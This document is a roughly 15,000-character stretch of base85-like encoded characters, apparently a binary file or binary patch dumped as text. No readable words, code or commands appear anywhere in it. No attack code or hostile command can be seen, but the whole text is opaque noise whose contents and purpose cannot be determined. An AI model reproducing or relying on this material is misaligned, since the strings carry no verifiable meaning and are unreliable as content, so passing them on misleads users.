z#=2NhJvcOHSXzgc;TP}!mk4VkedYZvP4NHR7a3P#u&up;GN?$HG~zvZk1G8BEZRS~ zLsUJ=t11f{8p_vAs|?8&2X@~#po;K|-p0qYCRZJKN7o!=dgLrr?8(_&FUuIUGnZqd zL`6aiWcM3?@YC6*(Mp?~H z66bVEg~5Cs5}zrFGcj)9WV4Nb4{4q^TlUS%}ui3fM@w#hM58pFRg);A29??uLhFSi|tl5kRSsl*9 z^HLq#&H_Kydp92gLEa)6x30djsCjf`)= ze7;dIcI*-^!*YI3WmpW87>4tECo2|IjNQJ(Ww$TsZBi_v*folMOR*Cn;w0`E%lWxp z!(vku;}}Q6af~DP;4HjgoP`&xDw0*mOojckwma>cO1)gC^ITsY~*u{#km^3)=vLT^aGfl?DEA#G|hd;(0 zS{J&ocIAq?ipu$+2CUGU(o|Jd*>LjcQDeqVo;Y!SWvH;ezOuGr%DPbH%*xtxL)Au~ zPMW|L9I9T~Xxfvjwya9h|VtK z%M^@Vro^pMY?WfvZ6(}OilsbLm6Dx#pQ*HmQe*i9@s2f?Psy?+J(wE1KB2}kO~!?= z@qUcAA@0+!u?JIIX&;k)?L$pA_`&#CZCz2_Wp(AWLC5MED26KNO9}KiV1;Fcr*_4P z(3MiiLKXKB6_y8>xeBX!?6StPtP^YOI$L8ev^A60d>_2#JNdlDX9iu3B_}nOoZtH! zLJ7teBG`wDVP3#u!z?FXRhMv7@+2;mJi%CF1!IjB>|<0`^kN+xD=T|!mMiH;Rn{Eb z{KACF$}|}lJ*78uKK>Z@$t&xaaic`KCdkzzyOXO&XiYuRWZ_`sYFa0QY{x1_ImjD+ zgdF5c4w{?FAC^gCr8*mxhQ3QdQ$Wi=sTY@nGQ%rCDFzn=U8N!?m5Q9-YqP!q@9&oL zd;e6dT`??|T}s|FoR zPb%k22i@a?ev(Qw9SKQaN=_;fIltNDE7%^~Lokl+1cSz6v0Tdq%r|5u9IK9myGX-L zn(GT?70gXvll=HL?2w!5+wM#DRJWsab*`UdET!DW1ec|`|$E+J2 zl(rT4(u|0exXy1R)Rrz)wSF*N$2vQ#V(+rI>(@z$Ah*`BpP~@qEvyj9iR+tUNydgM z@g@mAKLts=Nn%fm2$Huz*;&2|>IdBi$|20ZKq*K*0A;zk>lY?7oh3lX1 zv4<_^_x`LH#g2pv;;l>EBFp)`7GLj=q34S(frPDNU0~i>7f9WEx8BB-CcaWvCgc7W zB-9nA$+$!C`~JtQD_!aN+7ZRom~J~EuEY>^DHqw`2=pM-rL+#(Jv&iq_bFDpKX^rm zF%x>M?iC@URR>Kb_)|IQS84{-%iE-*Bqd}-S;Whw^+XwSK+$tvp$6i=Z2Gq zUg5eJDt2Gt_TpWmN~rrJ^=%pwlKzdH)HiZ|Zx_-R?5~y+Q;T5i=_DLhlG<=XEa&Ik zjKx^rBpiCQZInvy;+Kb?bHw6ZVsA!MPU83ATpX%@-bH8tkemandCtS?_tdCbI#3rfpM>*{KZ-2wJ|1h1^YF(oTkH?2n7pPYRoOsZY> zWjw6JeZ#G+DKTnCbA#_7dNkh1_GsKs#J36aK&OP+ukp=~a*qqjau{(0CqH6k`uij= zj7tyOMT~m<2T)3umZ0mk$Vsn7&hI^FeFNS$%ZZ9C;r_1Jbi4_{W?BxXGGZ0z!i=9G zjJIf2JL?R$FIGgG(hEv*LuWUy&&h3Cgk?NGr_U<+4jBUU+)+a5*_=Js!UOg|Xhvu}z)IIXPK~#L_Y*%zgm)94wQLB_i|ld~)~PG~F{> z%rNYQ?&)Mo-hlQQMCUb%$mNm`^OyB&6mHfF^dgI24Ml_E;u_GyL9YYl0O`C5=N8o?gwRk#)%+C>?}rN(!r3E z4u+iA-USOLK_N02&!-WrL9y!8&SxD-}`J*yanm0(F|ZxW8eO0Y*1`%Ke9jb+dINj0rk|6^jS@Q@X)(c`+% zv_?V|`AlR{U>%IeVrl(PimXX0vdD?ZA}5-bU=&`0QPUEP!b>n}T7pq{2}VszFbXfh zsA&mC;UyR~Ex{6p~fDJ$T}NEw*3H_*6;pfBJ0x`8~*b%CCf;wgOgY+t$(k? z+KY_*-!?Fuq2h|1h%0h_ZxV!xV6+wswpy|C6}wKc8x;GMVoxZxU$GAq`vqE@+=GHk z?(vzp`jo`gs8dY486LCdO#FbzaSAtPo z2}W@x7{!%f6jy>#TnR>TB^bq(U=&w^QCtZ|aV6Mi;_6cpS3CZL;%e+6nXpEU9Noou zaQkPLcac^2`_bZxrS-ojt~RK+A}8XCoQNyID6RyfxDt%wN-&Bm!6>c-qqq``;z}@z zE5RtP1f#eTjN(c#GhK(tI=->QIbb&pi}}t)4EWedyS_k~J!T20djbY#J}lgM0&5gJo#XvDfyD`{JPV#==eMzm z!>rmGZRfYMO^siIP~>EOo1EXduw@s{ifEJ|$M!SrY%L%FYq_N7Zzk{Srnn z?_^L)xl=&d&IV~sCnq(XoZoxE`UcEOM8UXzL&CjnIX_Q-vl!RxNI0(PkZ`4nU8vZ_ ziVZ^jmToBDnTLcm^i$7{RFXHIAqc{u6b+h=RI19;kx%guk;!!BA@_33&v^ag0 zuf4v%J=C)`#1CT1qL7YjLOA;^>pybA$(j)CHnSM_qRE;NwkQclAtGx+$`rd8+)MfV%VK;t<~ps;-I)vR3Ypy)L&M;29%!g} z%CaW2Hf9!fnPL5goKQ2)_?&}`48Zn^0SCRV!$dQGxUR#kkj*l=el#+{lHjyp9ay?Yen88m`@9xYPB;aq8p z;UsN~U9A`oIJ_t?EBYdiB2L-Up4QTsZuf4tOdWLD1hu61*wX=UQ`?fn5el)tL{$j8mbu&q)d3WM61F zmvzO?^W$}F=fg5Yc8>3GI#dl7Ae%GYLQh1(B2ezfTMSB>vjh|yx4kn!j{-dt6bXA+ z_!T}56brw?tY>AQe5#{^EKD|La&rD2IltL3CD<{jSAykRF2K`aEw)@S?k|;a)UPEj z^=rX+GOJ+RPA%AJig7!&U=@mSJGEf=s`lcRi+%V$)JaJVGn+3SmS`PiOShp2 zy_Ze%<{M+9uE5VZu9S;+Y}Ay+42x%D!FF)mhV2d?Wf;7e4vr_C$Sy%?wC5m^#H~KO zC+~4Kev{|ok8vFuZ8rmB9JNqbQPD7?wyLgpEf+Sgt_+#Ry7JuG@|vl2tLtk3RG21v z6(o9>O*X|ev%_&yW`cDoZX8?F<(Hp|OcZ{-vB*R@qN|pfc2rmUH_}Z6{>g3;F)hu03^HRmt+*gJ1lrO0=&q-xnH3m^g&B z>1$5`rNluaG!3c%lnn|MCVV_-A?O&;sh|ksm4IUTvIm(EW?7&=4)Ybx1Vv-yH#khg zdo{?0cQp`lavB0Tzn6p>Ay^N~$zhm+aoeDT8>`_aD8>a%5{^r~CEQOG`I=Nk_{RL>&qC-2zp)AaiH(rwHI4PAW!qqexO>*) z>NR2aQ(fXML8nkif*TQ5tw$B1B1f}3E0bOcwmNq}?axN%8>cYa91oA%(&dCK1+WBr+l}JY! z-$_s1!AXzuPvqoF1uHYeds38(1ZfQL&| zbYt1)aG3{EGmm^sv>>Pfvh#rtgUsM}S@i$}t$P(NTL}1!bp;44MHj8n9_oKQ?V@Equty+zC0q z_dUgaU^&0{f?_Wz=0nYpxapSjdmPFNHb}8k6f0Eh5yf~`h1{1@y~P>%&&YxM=qHCq z*XKl=`XB#3zIih^^S(iuRrsRKVO5bMnztm+p3=N4sp$>uvhp?WPCjkl&a#26`R^Ug zzOyPa8s@kj>_3;Dg|0I>l1*C~-`l(RZN$&HGRuf0miF@>6x%7Kn!YgTtZ-L|I8OA4A%$O&}rPfR-EzUJA_Na9Y=T$az)vrpI z;M%}cZ3BE9aj_QHxszdRcJD^Apl!Pr)KwGY=0MhGX@c07&Yn7MyE{9p+2)qnnvRn| zjK$F`+XUOaN(go-?xyq}lf)RxHguz@3`%I}9q&oez-(Gk!KdXZrp&2L#6DAOh|A{b z9P0&z0dHDk!B>ZiF!(d*F~D|%vhn`~^hD4%LC1pb0i6K)Hs~bKcR(pz-Up>7{!dU0 zhrNG+vfd>fBSPYCBP2EhAtys$aF2QK!l5js(?5B#orq~;b^+n5)xJOvd?`>9$Q@4^{^yx)a%@aSLxrs-a zRYgxr-i3$oHnwJN93p^E0h;U)B2|HQ+zmjw0)G?0ufXpG$WVaN4pDk3aK8YuXOy@7 z9)MLREUhYN=$*OgTjHCe!M`LxKLtK7Kz{|O%is@L+uzK-a1cc31 zfbR&vPz5N(0puwVAW+aSJaZGrVDK8DUVBh*0FG1O4+4x-;0XavRNw&u1r4JzH{By% zW7O*=0mdqDg#hCe2n#U50-;9Se4@Lk!o|t%;tX6&b{8{o5p)-);$n)s7=w! zO58<%TugTtfvV;UPg~#QyE|#=wlS?sw^7!e6{L`d4q!PpI>CySqY*_g>bSzOfeRN= z?snza@Wl5~<$kLiJ2Ua6o-5qp%8gKNs&WgIt5l8}uf)AVxto-uQCWN+QtoNxu>0Ej zwkgMz5)z{a+KX_#m4kW1Vk4Df@5E;*!q2&>@QrsI%@ShR6#V#|hMUi@f>1hCMkUW_m;!8~#2$*{Op2(QCWe9O9wsg6jZtizVv7~yG^B)URBVl6*DH3TVzeE~J^EYD z?=}B*#QcS5sIB;Bd0xv!c_X5`?`#R>jkxp9JEQ-&6>ig;nHz`WZSc#e(MOv1f4(WL z`C*(8JIfr}g0JZ`f7qV6(T5OK(OIIlMfW$i1H&9JG11(jJDdLr?015R@)p4t&71cF z-7ctTa6oemdbgmW#sTeb&}#)1T@L6VgKiX56gr@}2CW6U>Vzd#1;tsJo603f?_DT! z&v?%fMASNi@Jn~dvgmaNIbIM^>0I-fz_LzP1;QTz--J3SE5{tWVrAff^q zq*V~n0}b*6K|~oe2&*;H5slCwUj(w{4PRg%X3q1-yv;wMyeuI(Li!6CBqTR79*Iaz z0Fx8l1Kbo0uKESyulmQX0yq(QjSnH@ZG#!yA!2SUDEx-Tu1v&KVDd)6jEL@R{iEE` zzw`34bU^YZ!Hn$a*AtMuG%#a2`uPFL%K|g5qhA1!yd*FaJNjh+l9vN!a!0?z0Le=M zGo_M z!yBsIi7V}xXXbGs=&nMBr29C-n+0{#n(*ak&S;lIfiZ^~$+0|6qm;D!n6V9w(7Z28 zMCPfIJgPG|u2y&1yi#Bis=rTQ!!&?f=hC|4w_qF zSuWsF zUJFLEh=g0BShZr5;S%mL#iELRQ?ct5yIrw66}wL{TKptEPAtlOA5+YS5)driav0KL zg+YERm+4HxaP|V31dJP?=AjgvV^g6MSt0{eUZcQ_%i0C%$J!QXTI2!*peuAoMV}CfXD|OX~F#% z$dUagD4XlQKw0KVu)6bo{m=~XmRL^KloIoM*C_Ta%lWB)0%ILyoLu~z{{^4N1+EayNTGcQaBhN`i)k|ae9$9jFg#s{ zodO@Z40k~_J|$aGR2eGA;v;)DDkRh7>=fJ(3-4-brkB@N)KqpUt(+{P+!=~nCwcQK z%Ny%zH89_gIQa^Vu5crVKPj*i3OY!w?6EVAR1_LMp_se(roCeu}_^0L^V%MPT5ev z&zuCP7`NlG6Be8nu+gAY<#Cd{S?0PYkXS+w%Po3tC`i1;+4JNUMOf_C!{^quJX*-9 z5LwjSMTWv3AVYz}y2ub;!w1X{toc%B<6qwkU1cf|{-C=|_2j|jU1o~fZLYbG{E4-n zAjYx%ylP|9S~r@+y%f~w9d`fVg3y>nIPy`(5avl ziI_|bQ$HvHtpWuWW}C!RQusp9S)k3JD2wprpbJ3RQ7!`g66hJA-vm7q^ajwgLD{O# z0cDk63i@5pGSIs~mw~ctUk=LNs{-^VptyIK&FWmx2S8VXwt}KR3O@w88uT&HTF@s! z>p`CZZ3KM*Gz9vxy?z694X$(W?0imIRM1_7vGvva0x0Wy82{NXTms5+nGkeSN91Jc zh@9Vh)%pg!KUoe#M8uSEy)EbW1}ipHG4_5Ej`x)GRx8F83W9A=j4KobyF;?+0B#wESJmV@T1 z7_B-IHv*0tQ~;ls5YF%Y5Zri!-D5ew*9vZ&!5*@l-+LO|=M46|<^0}j;Kmy44a@nx zQ+v3)OtqY!pEa=g!`FIjURb*k$vLAkFqdf_*M(>PG|BF?8Xrl{{ApoQWQq^pxQk4I zA+|8NDl#Rjd0mDVIwrrh`ER&PjTUC?+u1UOLF2suW?dc{u{&X-&eWXg~wp3vkRdH>oVI9u@t}}ZxDq~%x^z1JEGqLhaK03?E z&NB_12IJY}>{=70tllJK`Y&3VQJFa3+zm#VxcG-7ekOk0`H(m(AB*q44a4WwZ^OvkCZCI2sN}gg zmC0z#D^b0dc0ZS!o5>%(Bkr8)1$vRiufj_r`%O@Gs8@sXAu$XM4+gy!bU5gBpd&%Q z4LTMSU5b3Q8uV0Le+P6f=uM#WL2m`+`#@I{W}UbLlr{MHpqtqwCo`MmHEQ8CV43N~A@d5UqyQsS;r>??|0sn|V=(QqT_QRqrs8s7!Ot}8Av;21Aj zIEd2_SgU#r78MNpE;fI(Hw`MC+m0!r=o7n;eGebP&7v5H_KM71fW_RXG_7p8$HDKx zV0_ChVsPt9Eaf|;W6On%^jMRSId2Mnbk3hG*KMzQ3;0mvHqltjG?~U!{Om$aFo)JM z7t|Nl)YPq5uyS=}gK1v>n8Xa#*9+p*Z{C47<27qKZ%fUFLz(wY4At1(FvEnvbDfB0 z!DzJi%2WExjbxBDwGOLwptG~du`FDZBQGuqTI%HN$N*-`-K4nof|U(sP$yd|(oE1v z(AW-ajp9gQs0k|r8V-NhHrQ^sGbS1Ta*o@hXMAPyJY138`i11N8a ztv~iC-f1+arDn5?@hNLt#x(P?4EyNg;VDEWu#Eb8u8goT-N*!%1yDOQc4c7%gIU|N z%w$sju#WJ%8$Cgt^e^(s+MZ%iJ|zsZ;USV);D0*oD23x#r|wLzsEIi64!4zeDzc@s&^81x?(dGYf$V0#lEK4 zHx&D^Vn0>vCB^=rSes&hS8QXl%irae^LtqE5ZxX9E%#dY=kkWz@HCrV%G?O~>0#&f zVf&^HqSVOT)B>R5I~2LA)~-sA21iAM{Y$aBATRcj`lhtaXicqctFYiHD^jum@q0w4 z84+aGI6YB~*q-@Qx_B3P#K*qRb$u4C@*tCPZBhW+hDVl;Lj2U|wEmHjtmcc;J#6$A zkrio@&yY}5afTJrst9R4J&{JIT5!LBAWx-Y@BPeh7lOMvNLlt3aL<}>KLmG+!C0Yb zOu7X>=eAqM$uG(`=u;}+wkG&*R?a|}o97ieP6HdTKC1jrO4G3muKc`u1u?awzPj-R4) z(zAZW@=B8?>!cLjy(Ss=(wNK?Ear1UIEHgA;pFTUlm=ex+1L|MVddCRdWIzPi5|Wh zT9As4q#u;O6_t&R(<{p*6y+$z2}K4Uf_Ir>t~cV|v_K^YU-zV!m_S8%&K?k!F~iCI zL7GQ0Qcs|Xq8FwP@vgmx@j`dtmne;;N|=-|#pbrSGl{zq`X~5hLLT!qQbOC;m}*{A z9}ku(ye3%iOv#IM#;f2NRD22%%(j?gJ9d*%486Rib_Z{&SB}JKRcJA}fNX}pn|^Th zm|m=(l-;ZXcM*U~O%d6f26_Unv4qI1LpuzVuObt4HfR0Xv@^+DfoeM2reyvH1)az1YQ2G=7L z!OyuxmT|I(Jpu|=dxUuj{)wx<+2<#oE52+A&`2s%7YHrkNUqDX+{VOPP;=K;a^8XtsTl~+1P75R_S|B-?Wvp+&d){(>?@h(nD@!=u zR^o27oZtJZVw}>Ha5T?JxVsda%k`&J#iF~h1~tnlP-Rr0UZQSxE$*>zo2X-727i$1 z*o9~tIngJeg2~irHKKa+7ehhYMJ~E?(@X2JJ8EFt+KMB!-RWP^*+n=apvTWlrtUmT?u3Z8ZRl*AP@@+KIgLpRtuA3b}&d@t(4N&i^v_ zr(5lf*b@o){SlM{Hm2{CA9IP0b*dNJFX@V#8K!8@`qEb{S6YUIUaG=8dMT%If)LO_No=STgYgX@A&7vhB1u0_OZ;c=v z;PVz;5Adln%6q{3vnr)rr+Uk*;NM{KBPu1sKVq+4M}W({_&J!qY)9-1`1*c90PZ@- zcDBpwL6K?i+n^_c-Ud1r6w5r#0c_s|orCM|fi42Q3-nCTAAs_${uuN^(1$=T1Kj}{ z1;ygfFy--mpb$0QX3(oae-8R>(ECAe1$_W?Gw6e$%-fBilqKH*Wwm+)lzq_Vpwl|Z ziPlNZZ_aNLY*Lbh^Lx`Q7w}G3Y^7qHERwkE6kD$tmxW1scPd8fqF`JWCUKus>{-QV zSCDXTE5_}of~7#vO5CF@7x0c%>~o4?cG!kHL$PxdJ72LT#lEK4Hx#=`vD*|Il;ZLN zt>4}QZ@}hni(k`pEGq6$yQuo9 zP*-c4>Zdi-HPz$Pt67z+m%~`=2IMf-s_IG^CeCMM8aonZfCm&LDx2vBH-8|%xK)tD zdklJQY6aQS#bKg%xQtiX^6B&hH;R%a29iH~UWyVX?NrdWlI6Uqy`UWVzXLi56myT^ zp`iOfj{(JMQ!}9b2Pn(ypP+2oRB2?x6ginzAm{h~WqkwYBq_lT!>g2V*_M;$E*P7; zgj=lP&Qh#iv5;a=1T&0=`F{SJ`7aem_eQ4qTBeOCjhqxI%Z-%fMao9nDmybTC$eTN z<`8l@7dWjbiq&z`(lOx|nU)bL%Ze7}M5axM7GiuADJzO@iSXW1Y#cM`T*P?3cjuv!hWIznMs#=}X{t8IJFr zjo=pioV(pJELb`=0zW9jQr=_k$2jLtD_sv;gHqx1tptBs>3p^ka4d0Mg8wG?r&v9Y zmExKNe_H91v_J^aSHAhh4G!ozacFI5`=MjRd23nXov}%;Z2k z#Cd4KP+sE%#-fs@+7*pvAj`Mv?&97sgHs(!F}JNQzM!&}Uona66otn;3()w%sihIlOUa+ zlxoi~1fX-0>x**fJ&cCpEN!h8BViq*;G&h|UIK8}LjaLtS%ncqH-J)Gy&3da(Az;N z5x)zH2IqYbGzfYpXbI?DpffB2cYvne+aq&^v9r!L9t&iTnWmh`L&=sKw0pQ zf?fss7%1D-6QILy~JViMj*~jb&RDHpSZgbka$wBFu|YV(@o;yxr`nVAA|?rx|4>O&V+bR z@I3g|S?Z}{&=gXapkpvkj5`HC+LXk7A{|4-qqUNG6f4vWI*JulLSzC~?waWxiNK?9 zfn~SlD;q0kR29~6G4DEa#eG7B+03jsSp=Gbz+(&`D>W$_@t6(g8i_aB#9_Nb^MpI9 zgCMelzie1yI}4(ih>I6Qj51IKQM~-Hk8~tF`3QZwdxV1QktQn`G94WgC(|uP!goS( z!Y-4#3>{SEFdzLHP(I3YphG}^1IovL5tQ!`yJ$?a{#lUCnu8y5a%vAbzsF?~f{n49 z-#bS!n$IO12Qm_l4P3A*6#KejgHSakT(0G?>qfB&ibdyEM+RvRB9K8`s>d=%}Twvd}YY=cT%IvoU$8Vi~E}@ z$7M&nJ?rui)as#z!!hUOwJR!XYAP$7g=lJB6S~ZfNvks`<_8&I}S<#lj zhn#F!A?G(!d4g@TzJBjX4fm{K$#{bjj`R5vcbQ^b8Y|dZ#V%58t7MjnYJ8=M2?=<> zQPR@!!6*qI#xGG4#>aX6<5!v)b@lR&ODk(DR@R>D-gDze)tdvpbf`j|Ub?Kej ztmZk3BO%zkOGaUF!Jw9s>ga@MwJ-W>TxB)4CpWCdgi=;Z*@uPE9nt6aWbWvN>zwGX zChchQP5N~x5Zxc$-Ml}!@x`{HRcU7|!m5Os`K>q$VieaWynQGBE@>&so6vs2*wXd| zd1G5<=E*?>b}GuvKc(6EC)oi$7E2V?Bmd2KrW|i0xO)u8_n$bZxd|8@2N-m$E7_n7 z%iq=bjm6LT-|!2r^rMdqdcFY~@BcFVGi+!|@T(I1PkMkQF1-sI)Rz+czXpFUaiU{g z#Y760aFj4h>X>H&*W>r{C#tK(Yb#eYg(_VwMXHmt+a^(JVTWj)9m`M2ehLO@$-xy? zyt%xj8+D%p7Ac^w;aC@(w-OV1u|ue*WIu;wj#dNFc&{AmX~m7pKz?Qd=!pLU1B(g(1elPdsb(vg57qi9xFW5#5)QDwseEj{7xsY z-*)H`Ajo2 zpKfKw?WphHf-eV-YyLZU9{kdO0Z0qcKZ0>Ot8CzaL~J-f1}*_!0Aa z+}}wq;1ycVZ+09BHdirfje=2Yl(-ueyIe7jJ0#rIiru0Zr)4EB2YwQc13$s2T?$6+ zQm|shW+=8$F`Bg{9CoMMxZ4zaR6`Q2k9L44< zcA;VyEB0l@zNT0hjYaOe(Q=r~R_rRp?ojM5#n2sN;RZhEaFOmejXtq-H{P(fbXz9= z_B)xKMArKvcZy*^$+CyX5v$@=d7>ad&P1A?{&pE z0+MhiTMoytHjJIyK5x`E_lENj+PPR~CrF}l>_aMvBPth%Pqg#nzd@NUukT9f2tiyX zd2!M*eoU2Ste`UJ(%Fib(KM~o+jP$ginmEg&-8o8(&tGSOs`LD6^yF^oM&~ym?L@T zSO$FCe7mkZm*6eZ{|r!;&6)PC-WhZXHaStS$@#IT7dAeFaS$TdD~i3Y*hstu3CB%v z60S%wTI2+qJ2$!|l9LB*+qZDh4n%j$RI0;ZW#Mpj|Als%Vb7-b+zi0Em?FTY1TGYw zA3Zy75Z9-0)}We6m_LW1)hCtC-$fw0e^dL~;fxX~8HJtjsnOH>M`m|iCk)@5$f!0y zmbSS2?I=5I={aYdfjNd_k%+8FL2v9mZPu482KR*FR)D)XNa=JLxLXW&4LDhw!Z(ws zw%-AaPSi<}Q=D;PSYqGAFWvGW-k%=fU;4^Mov(w&`{zAMA0lRpCAUR(@NY8ya<|jq zwiILzbC_;IPfxI;F!nY|Te--TH|lDOqUmXGj0oN;l+czN=# zKqZmQ)V<~A_$zaL+>Y=qgC!eXE@4{+mEHZ&YFNp+smCe9=bP&R<~r6OPq6+;Uex%1 zdRsPl-yEbl!=$^!DA;^yU1{=erAd+(oBiMmbYWf9q2TF$y)hN-;pT4ZP0#Z#qy|>W z#5TAbj?0rw02$*;$;R#cpq94M1Q-u_(|O@>pYGO+NNqGR?SRnmkZAD>kKaK}+K=DA zZEHwxJ7+Q!ckgS!lX%hE3#coiHD@f!XKU9n>NCbOOF{;&qQLUErP~|LkxaIJD6vgrt zJ4>-L#WpCmNinVmk$Z4Gh}?rpw_uo)ve-8v6$Qf@A&X%(kj3s)3@dvqhP6C4+*69d z_-(Oy2U2u;;7R<8)5DetCA_gAQmu_w zbXW$7icS)m0plfuvTRapvv?rr6diJ+=#axsYYz*s4EB)a{N5iF`=esV<1I+IlPo7w zkAkuJkn?*O)AW^f4s%y|*bb#%#NE~xX?0W-@_;x8ZLWh$tOfhvo7hpiI21g4KWQy6 zV-_wHPtaduJ@65xyX2GsZ^-Vbt8T*A)hv|>FMrT2#7~zy4Yzkp!=*f>>mZPW29iH~ zZoYX|k+BxX;;S&(y`VnOcR;zI;$2W?cONJPDu!N%; zEa8sAyB2Ji<@_E+s$d-4NH~6{@Brf*(R`4qb%`%L840aQ7@@j2e6XiK{tM^)(4n__ z|AAY*|5Iu8qPXFxJ=f|@Zyew3Sq6#CehOYLi*c%b=|%Qs-w|{#o1DCCax&{9*fzuy z>}AUZyw?;v4sSuiaY9nUvDXxg&0es7SF?W)IZ50R9pCJK{RwNq|HZA|y!jxW-?^@u zeZGD3V?o*Man!46_Aq#vW?ulxW`A4I)dX@<6Ug~JYI=g*YdPr@1bav^?$Z@)sO6;D z3&v(o&P+}D5Qzi9Jp7!4F3`axHuqn`H*x+XKF*z=;6-EGrkfrpu3uSGckV~qrV{N= zae0RT?`D#ZJ@kmUkjy`uD)cG{2XQ$2B}{ICotV8Y=w1vtc`@YV)Ih-=M0ml_=NK-4 zA-}`6%6R!u3w%2gP5e}Ae1U)elNLB<(EmfTs|Qo?i*3Qf@N8Pd^(bVS5ho`FPtNac zL&*rX!*YIeAfsTMT$ON~1Zur$lbA}PVRNQ#`_<5F+I$`s?&mS9&a z_ON1)D)xqAe^Klfw62?xa=^R8ayaJqX?%W4H~Z~I9&uy09gkBumj~k;dma$yoO183 z+1Qb;Y0htf{tLgvBMcaaVMw{vNZiM2%w_`|>n(SYak^dY^iq+TbmE7QvQ0(rax0Y# zQhRAd=f11Nif*$@f<;ko?8B{7>_(Xn&i0yom})4Smqx`!<8vpfytAR$uuL$E7v{uG zsa15o7i2|S0)(81b#gMk5sc#-!M12Pj&B5eO|dr=3!*wmTq?g3Zc+Yw*wTUngoe&< zDXWh5iSBLd6a7_mYxAo~Sdto;v^A6-eJZ-=>AyAYJ}Ww>Iy$YU`PB~tkC;_;YwW7J z@I`qzM6A!gm!sRUKRYdDdsA9;nlJifdlt?K^LasJpyQgmjX<1RVHqb$Sd~(N@fx}0 z(SXJ|fA$-0oj>BQvXClDFJ0kDXUpb-@0~EgeLe zcek*QhY+!AOffe(4Rt>m`mr=M?$}&v@MP1}h8o_kEOEJ|+-BpF>sW64#hI#~38Em9 zGm`sd_xjq#KONghrUZ>mHeCfOG0 zFcTT>gPG|(lZ*IlcV+aDnu5eSY;@yJK+wU=+GZ-+NT zWA^bioL4XpA<_*YnO1Tmh*eP z731elyrmcw{bF`kG)Uq1!A4YxqC0~(f`Z5ZWgT;fQx zE5nkDla3fa{$yh7&<#ufQFAg+B9d-)FP@c+$hofU$;(ki>AwP$Wm93R?6-rimnA2? zEIBbO3APR41$)_YVptN4h9wC{!;)a^TLq(GNwEKxVd=Y{uonEkZdk&atuS7jcN!?g zExuS}gy1Yt$V+byD23OxL01#VNlhRph9$x7wc*6DB-lfW(Xb>K4NDT2_GH0mSQ3mM z9iNrnye>VtVPt#Li0F)r_NKfSi?iCBa-&H&zp=fke|uBT+_^8Fo#%V8IOD}Zd2`!K z>)Vcq7LUNU$I~|RW07rv9k?&HBqs&E@Ht!ajINYuIaz3e#LQQZeqOq576VoE8zG0* zCXBZk2e3Kt|I}hI#vR&`_(h8wR)#7|%2$Ny%;BkAJ6nVAc}%UVscV>4v#!2+UQ?|Z zHvhUmd+1R0%0}qUvI0l+pE*#^hU-|B85So;*|P=nOo|{VlpCCmQ?s(RQa;+aL}M|O zIElr#++D0QG!{dNlUVF1x!CkbXbwr8=)wmrA*F#3wKQNR^!Z{rUoqNpH){8`*r}sh?6*jaB&pk^v7U5$y-y`P*bs> zuBh^Yl`C*a2v;oEHLTVrV_;`#gv4&f%) zK+DMzUctD8mz>|bNW+B{<2jcS?&pfpY9ZL)6gvhQmtex+zWTj0_%mG@G$$U>uU6IaoKs430QW%)7H&pm-Vz4r9`$!ut9O zY&kOD138e%)2)i)kdm7Mcn``5Hde}GxsKh#nHv8z?|||F78uSrGxPRj>H&5<#SCI0 ze1{CGS#Y|!tNdZv29XW+I43*Yt~*EqJq(x+l!Cek=s?gkP?iS1`DdEWPP}btI^?A3 zkn@`(Kn2^1@Pa*IxqvyMN-%2i5{}!^1f%{S*l@*Y7!+)rV%IBnqhc`Sguj3qTZkHq zLscij41*e*9-WguX-mV%MJ;1{PTGSyyQgH*6Ke)VGh1@T?Lw|#?+^8g&hh0x6G@A# zNw13JOkY}t8clJur9+LbU})=RTk5lvH5%>4C?m*_J#8~q`${%^f76Q zRe~!dXPE0A=;LE1jw(Df_VbJg3`xyM@db`c^=I_b51MQ*jPKLSR-na6!#!)st|q~p!~dutr8>*Qwo^Ea}fB4S3 zYN>n$Y^jtbK2SaxTk2p?wp7*;*HXWZ4oFUBAtxuZkn@}KSOn{V`X(3+7J|`WAy~0u zGZd>-Y^7p6mO$e2NG6H@D+X(qjoZ_5ewuGA#sfJeJ?@3X7aM-n9&D-2 zfR%P3zVe(D@{MV2TM?a|K7a9!67xFpU%G5?etS!a@3ILvzOQYrEX&Ssy{yf2Ro4FDj`Pi?r=Q`Fz zScvP%*(VJ%0jn3+Rv7=@xMW-5AYw55T|x=7-I^Z7-U%i=GvrQ8E~`#FGns3crEeHx z?7%Kv{oWOyY=KEAtJ^2z+tTy)=&ViabA_j?9E%1BlR zD+iDB)Q4gx#jHsZL&#cCRsaYoBRHX( z8x`jZpt-=qptJ&S0A)vg3FsKmX3$eWH-WNATn5UQ{Y6mL&M$%T-L`-(1^qH;1?Ux^ z)u8y|MVPM;bD3tv^w&Wz#5HC#&5G%3K-p?{L+y|agXCldG&#RF5#mCy$(HkTM$Tfh z6+2V0rHXO2v&7|UXGxDMn+4;_X2D)k><@~iKtf2kG|TzDJjM8h4vEX-C?p(@qY#W| z-U(K&*lNXi4xWT7MxQ3(FnY7tLdCG}$6}R=VI!u+!isHFOg`jlPFY?Y{qRn>%=?m> z_xE0NQE2t_=3PmlGx=u*|D4J{qnmdHLPvqi+;lZw!m7SYsv;%n_-;`8HIdZFBH!*y zh~^0T%fj@wUB53(|NY=qJ=)HF5m)b8FPtaV_Jj-eATGAJlUq-Ck{f%rH`?jxr{u z8BPv-iuZ4VKfjPg$9DBN%4}VN_QgCi1nCXzT8!(^u0HZxUJFXgrWDREKDi9cj5#vM zvyOOk_BqqF4Tf~Et0ns7LtaXLzit=64@ zV2)GZ`2$pT==zwyXW(p3CLqTwuz;y8af9FIP$1OOTmtS01++lpa?RgVwD_q;v*YDR zgY`66Z}3cy%@WGF#pLXRYJ>TVv>1m0${su%)Cf5F{#X2~iSblesF<*1tYX5=S=^Y% zOw!6CCY^$8wqd&OLs@Zl%dkP@58ol@r)g9PSsd%6!mJy=17#t+49d(y zYY>cDgJ9Ge1Y4z8tzzF)>^jA$KS*4D%}e6Gpcr)u!P*r2yJGE%QO}TY+&3lZao?0+ zw1WypJE&kBA_~SKqF`TA4D<6A`%E685*(B~dIE3b^9PVew|)xpXz`qRryo!vt^Z6S z@qNX0EbfbhESW=;NTSDtO@i|0zbTWh3_6)aPGk}}zc&*#Pq0$U`Mt9hTc%izV$?h& zF2+v(hrKs}v!c4ThpU?gp)P_T5aK{kaW)QM96+#v1|=#Yqa#hz-9T&8-RS|rr?C}G zLONtlG~+XQ#+MlLVqy}_D2VesWY7#grx+DA4lx=-;yZ@ 